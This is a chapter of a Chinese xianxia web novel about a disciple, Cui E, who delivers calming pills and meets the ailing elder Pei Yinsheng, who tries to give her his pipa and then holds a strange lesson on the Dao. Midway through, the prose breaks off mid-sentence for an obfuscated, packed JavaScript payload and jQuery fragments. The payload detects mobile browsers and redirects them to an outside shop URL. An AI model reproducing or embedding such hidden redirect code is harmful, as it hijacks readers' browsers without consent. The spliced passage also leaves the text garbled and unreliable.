转眼一年过去,庭中梨花覆地。风过时,几瓣沾上静立庭心的女子肩头。


    崔峨抱着竹卷走近,见观尘已在庭中伫立许久,似在等人。她略一迟疑,见观尘一直在往她那看,还是上前:“师尊是在等我?”


    “是在等小浣,”观尘摇头,看向崔峨,“但是阿峨你来了也正好。”


    观尘招她来身边,朝她展开掌心。


    一只青红葫芦状的小瓶静静卧在其间。


    “这是郑门主研制出的静心丸,可有时间为为师送去静心堂?”


    静心堂?


    那是门中专为抑制门徒心魔所设的清修之地。近来门中太平,似乎并未听闻有谁需常驻其中……师尊此刻送去此药,是未雨绸缪,还是另有隐情?


    她抬眼看向观尘,面上仍带着浅笑:“近来……又有同门需要入内清修了么?”


    “你这孩子,”观尘摇头,目光投向远处,她顿了顿,才转向崔峨,语气温和如常:“晔城主前些日子心绪不稳,自请入静心堂暂居清修。”


    难怪这几日未曾见着商晔。


    “徒儿这便送去。”她将药瓶收好,向观尘行了一礼,转出无隅宫。


    自仙门大比后,这位封宁城主偶会在山间漫步时与她相遇,两人倒也渐渐能说上些话,算是有几分熟。


    静心堂位于主峰西侧,从无隅宫过去,需往西北方向去,途经一片幽静的竹林。崔峨记得,裴尹生的居所便在竹林另一侧。


    他素喜清静,又未收徒,便独自住在附近。


    走到半途,崔峨忽然想起上次来此,还是陪胡将时师姐备考。那日静心堂外的石亭里,竟聚了好几位师姐师兄。她那时才知,原来门中卡在寄春君这门课上的远不止胡师姐一个。


    这画面与当初单浣师姐温言提醒她“裴师叔的课专攻精要,考核反倒省心”的印象,实在相差甚远。崔峨心下莞尔,忽然明白了其中关窍,想来单浣师姐天资悟性皆属上乘,她所说的“省心”,是不搞繁文缛节。


    她摇摇头,不再多想,加紧步子朝静心堂走去。


    刚绕过一丛茂密的修竹,便见不远处的青石小径上,一道身影正站着,似是刚从静心堂方向折返。


    是裴尹生。


    还是一身青蓝长衫,肤色近乎透明,墨发也依旧未冠,用发带松松束着大半。


    一切如往常,崔峨漫不经心地想着他怎么挡路口,却又忍不住打量了一下,发觉今日瞧着,他面色竟透出几分不同寻常的薄红,眸光也不似往日,有些飘忽。


    裴尹生整个人似乎也清减了些,衣衫在风里空荡荡地拂动。


    他也瞧见了快步走来的崔峨。


    一时竟有些恍惚。


    上次私下见她……是何时?


    似乎还是她那个师姐胡将时因为补课,现在已过去十数日了。如今她与他,不过寻常师长与门徒,关系浅淡如将融未化的残雪。她未曾择剑,过往种种期许与揣度,原也只是他一人的执念罢了。


    甚至忽然觉得,或许当年他所结契、所识得、所倾慕的那个“她”,本就是一层幻影。眼前这个忘却前尘、眼神疏淡的崔峨,兴许才更贴近真实,他曾触碰不到的真实。


    一半是水中月,一半是镜中影。真真假假在心头撕扯,激得他气血一阵逆行,心脉间那柄剑也发出不安的嗡鸣。


    裴尹生再忆起来,只觉喉间微哽,下意识地攥紧了怀中的琵琶背板。竹影、面容在眼前晃动,随后扎进眼底,激起一阵强烈的晕眩。


    猛地闭眼,堪堪咽下喉头翻涌的腥气。


    再睁眼时,崔峨已走到近前。她似乎停下了脚步,目光在他脸上停留片刻,又落在他怀中的琵琶上,嘴唇微动,像要说什么。


    裴尹生不知道她会说什么,也许是寻常的问候,也许是关于静心堂,但在她出声前,在她可能说出任何将他推回“现实师长”身份的话语之前,裴尹生听见自己干涩的声音先一步响起,打断了她,也打断了自己摇摇欲坠的理智:“这琵琶……送你。”


    崔峨一怔,已将到嘴边的“长老气色似乎不佳,可需弟子去请常师姨来看看?”被这句突兀的赠言堵了回去。


    关心长老身体,反得了一把琵琶?这……


    她立刻摇头回绝:“多谢长老美意,弟子愧不敢受。”


    她顿了顿,目光再次掠过对方不寻常的潮红面色与飘忽眼神,终是没忍住,将话题拉回原点:“长老气色似乎不佳,可需弟子去请……常师姨来看看?”


    常师姨,名常烛,乃是门内现今唯一的药修峰主。她性情孤僻,不喜人称“长老”或“峰主”,爱听门中晚辈唤一声“师姨”。


    传闻她本是前掌门一脉,却不知何故弃了原道,转修药石,更以一己之力……据某些讳莫如深的私下传闻,是“清理”了门中所有药修,方成了这独一无二的百药峰峰主。


    崔峨因着观尘真人的关系,曾为常烛择过几次药材。此刻提起,既是出于对长老状况的切实担忧,也因常烛或许真是门内少数能处理棘手隐疾的人选。


    裴尹生眼睫几不可察地颤了一下。那总萦绕不去的晕眩感,似乎也因此清醒了半分,让他更清晰地意识到刚才那句“送你”是何等唐突。


    “……不必。”他声音低涩,“旧疾而已,并无大碍。”


    “这琵琶……”裴尹生垂下眼帘,避开了她的视线,指尖下意识地收拢。方才那关于琵琶的话头,此刻再也接续不上。


    崔峨将他细微的抗拒与回避看在眼里。这位裴长老似乎极不愿旁人触及他的旧疾,连出于晚辈礼节的关心也一并推开。


    既然对方明确拒绝,她自然不便再坚持。


    目光从他潮红未褪的脸颊,移向怀中那件被珍视却险些被送出的乐器上。


    气氛微凝。崔峨不愿让他更难堪,便顺着最初的话头接了一句:“这琵琶……确实很漂亮。”


    话音轻如微风,拂过他灼热的耳根与混乱的思绪。


    裴尹生想,她该好奇、该追问的,哪怕流露出一丝逾越礼节的关切……而不是这样,礼貌而平稳地,将他拉回“师长与门徒”该在的位置。


    “嗯。”他低声应道,“早年旧物。”


    见他神色稍缓,崔峨记起袖中的静心丸,也不想再待了。与这个裴长老独处,总让她感到某种微妙的压力,想要尽快离开。


    “弟子还要去静心堂为师尊送药,”她往旁边看了看,“便不打扰长老了。”


    “去吧。”裴尹生垂着眼,目光落在青石板上。


    她的衣袂拂过道旁低垂的枝叶,发出轻微的窸窣声,那声音渐渐远了,终至不闻。


    裴尹生却是恍恍回头,果真未见到她。


    崔峨从静心堂出来时,怀里多了一大捧新摘的紫花,是商晔塞给她的。“兄长带来的,”商晔笑意盈盈,“说是可食,滋味清甜。”


    花束幽香隐隐。


    崔峨想起从前尝过的南瓜花与栀子花,都是裹了面


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17118046|194366||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    衣下锅炸的,金黄酥脆。这紫花,倒不知该怎样烹调。


    “嘿,”胡将时正打算主动去裴尹生那儿补课,见到崔峨,忙唤她,“正巧碰见你。我正打算去裴长老那儿补课,可算找着人了——你眼下有空么?陪我走一趟吧?””


    裴尹生给门徒补课的规矩,向来不准单人前往,亦不许旁人擅入其室,通常需得三人及以上才得允许在外面上课。胡将时虽勉强过了今年考核,心里到底没底,想私下再补补,可邀来邀去,至今也只拉到一位男同门。此刻遇见崔峨,恰能凑足人数。


    崔峨想着去旁听胡师姐的课能多学些东西,便应了声好。


    她顿了顿,又道:“那下课后,要不要与我和阿秋一同吃花?是商晔送的那些。”


    “当然可以啊,”胡将时笑道,“那我们先回居舍把花放下,崔师妹你也正好去取书册。”


    二人说定。因居舍颇远,崔峨念及方才那束紫花,忽想起自己尚不熟练的瞬移法诀,她想从前在游戏里点点屏幕便能推进课业,进度慢了还能读档重来,如今真需苦修,学到头却连这基础术法也使得生疏。


    她凝神催诀,小心翼翼。


    这回谢天谢地,总算稳稳落回了自己房中。


    待她携书重返青竹林边,胡将时与那位男同门也已到了。三人不再多言,一同朝裴尹生的“青陵居”行去。


    今日的裴尹生大抵旧疾突发,格外异样。


    院中,他静坐于案后,看着三人进来行礼。


    那位男同门按捺不住,主动上前一步,欲演示近日所学的剑诀。


    裴尹生默许了。然而只看了一会儿,他便蹙起眉叫停:“停下罢。”


    那同门讪讪收势退下。裴尹生的视线倦怠地移向胡将时,怏怏道:“你来说说……何谓‘道’?”


    胡将时被这突如其来的问题打了个措手措,愣了片刻,才迟疑着试探道:“嗯……‘绳绳不可名’①?”她顿了顿,像是从记忆深处打捞起了确证,语气转而肯定:“对,便是如此。”


    裴尹生未置可否,视线却缓缓移开,落在了一旁的崔峨身上。


    “崔峨。”他唤道,声音比方才更淡,倦意漂浮在字眼间,“你既来了,也说说看。”


    这并非他平日授课考校的风格。胡将时与那位男同门都察觉到了异样,不由得屏息,悄悄看向崔峨。


    崔峨未料到会直接问到自己,她下意识抬眼,正对上裴尹生的目光。


    裴尹生此刻的状态,显然并非寻常。


    他旧疾似乎不轻,面色泛着异样的薄红,呼吸也比常人浅促些,整个人像一株被风雨浸透的花,透着浓稠的倦意。


    崔峨沉吟着,把胡师姐那段话给翻译了一下,加上自己的理解,“‘道’或许……是万物运行,各有其路。循其本然之力,行其当行之路。”她顿了顿,补充道,“修道之人,所求者,大抵是看清自己的那条路,然后……走下去。”


    裴尹生听罢,良久未言。


    “本然之力……当行之路……”他自语般重复了这两个词。


    然后,他极轻微地摇了摇头,不知是在否定她的说法,还是别的什么。再抬眼时,眸中那点空寂似乎更浓了,连惯有的清冷疏离都被掩去大半。


    “罢了。”他最终只吐出这两个字,不再看任何人,“今日……就到这里。胡将时,你所疑之处,卷册在藏书阁最左侧第三层,自行去寻。都去吧。”


    竟是直接下了逐客令。